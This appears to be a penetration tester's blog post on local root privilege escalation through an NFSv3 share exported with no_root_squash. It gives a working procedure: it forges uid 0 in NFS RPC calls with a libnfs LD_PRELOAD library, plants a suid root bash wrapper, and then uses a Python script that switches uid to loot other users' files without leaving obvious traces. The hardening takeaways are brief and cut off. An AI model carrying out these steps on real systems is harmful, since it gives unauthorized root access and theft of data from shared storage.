das

gquere

A tale of a lesser known NFS privesc

There are countless online examples of privilege escalation abusing bad NFS configuration.

However they all rely on the same prerequisite: that you are able to mount the share from somewhere else.

The NFS options

Server export options (found in the /etc/exports file):

Client mount options (found in the /etc/fstab file):

The classic remote attack

To briefly sum up what the attacks presented in the previous links do:

This attack requires two things:

The latter can be verified by listing the shares available on the remote server:

[root@pentest] showmount -e nfs-server
Export list for nfs-server:
/nfs_root   (everyone)

The local attack

Now, let’s assume that the share server still runs no_root_squash but there is something preventing us from mounting the share on our pentest machine. This would happen if the /etc/exports has an explicit list of IP addresses allowed to mount the share.

Listing the shares now shows that only the machine we’re trying to privesc on is allowed to mount it:

[root@pentest]# showmount -e nfs-server
Export list for nfs-server:
/nfs_root   machine

This means that we’re stuck exploiting the mounted share on the machine locally from an unprivileged user. But it just so happens that there is another, lesser known local exploit.

This exploit relies on a problem in the NFSv3 specification that mandates that it’s up to the client to advertise its uid/gid when accessing the share. Thus it’s possible to fake the uid/gid by forging the NFS RPC calls if the share is already mounted!

Here’s a library that lets you do just that.

Compiling the example

Depending on your kernel, you might need to adapt the example. In my case I had to comment out the fallocate syscall. Due to the absence of cmake on the system, I also needed to link against the precompiled library which can be found here.

gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L../libnfs-1.11.0/lib/.libs/

Exploiting using the library

Let’s use the simplest of exploits:

cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out

Place our exploit on the share and make it suid root by faking our uid in the RPC calls:

LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out

All that’s left is to launch it:

[w3user@machine libnfs]$ /mnt/share/a.out
[root@machine libnfs]#

There we are, local root privilege escalation!

Kudos to lnv42 for showing me this cool trick.

Bonus NFShell

Once local root on the machine, I wanted to loot the NFS share for possible secrets that would let me pivot. But there were many users of the share all with their own uids that I couldn’t read despite being root because of the uid mismatch. I didn’t want to leave obvious traces such as a chown -R, so I rolled a little snippet to set my uid prior to running the desired shell command:

#!/usr/bin/env python
import sys
import os

def get_file_uid(filepath):
    try:
        uid = os.stat(filepath).st_uid
    except OSError as e:
        return get_file_uid(os.path.dirname(filepath))
    return uid

filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))

You can then run most commands as you normally would by prefixing them with the script:

[root@machine .tmp]# ll ./mount/
drwxr-x---  6 1008 1009 1024 Apr  5  2017 9.3_old
[root@machine .tmp]# ls -la ./mount/9.3_old/
ls: cannot open directory ./mount/9.3_old/: Permission denied
[root@machine .tmp]# ./nfsh.py ls --color -l ./mount/9.3_old/
drwxr-x---  2 1008 1009 1024 Apr  5  2017 bin
drwxr-x---  4 1008 1009 1024 Apr  5  2017 conf
drwx------ 15 1008 1009 1024 Apr  5  2017 data
drwxr-x---  2 1008 1009 1024 Apr  5  2017 install

Takeaways

Don’t use NFSv3.

If you HAVE to use NFSv3: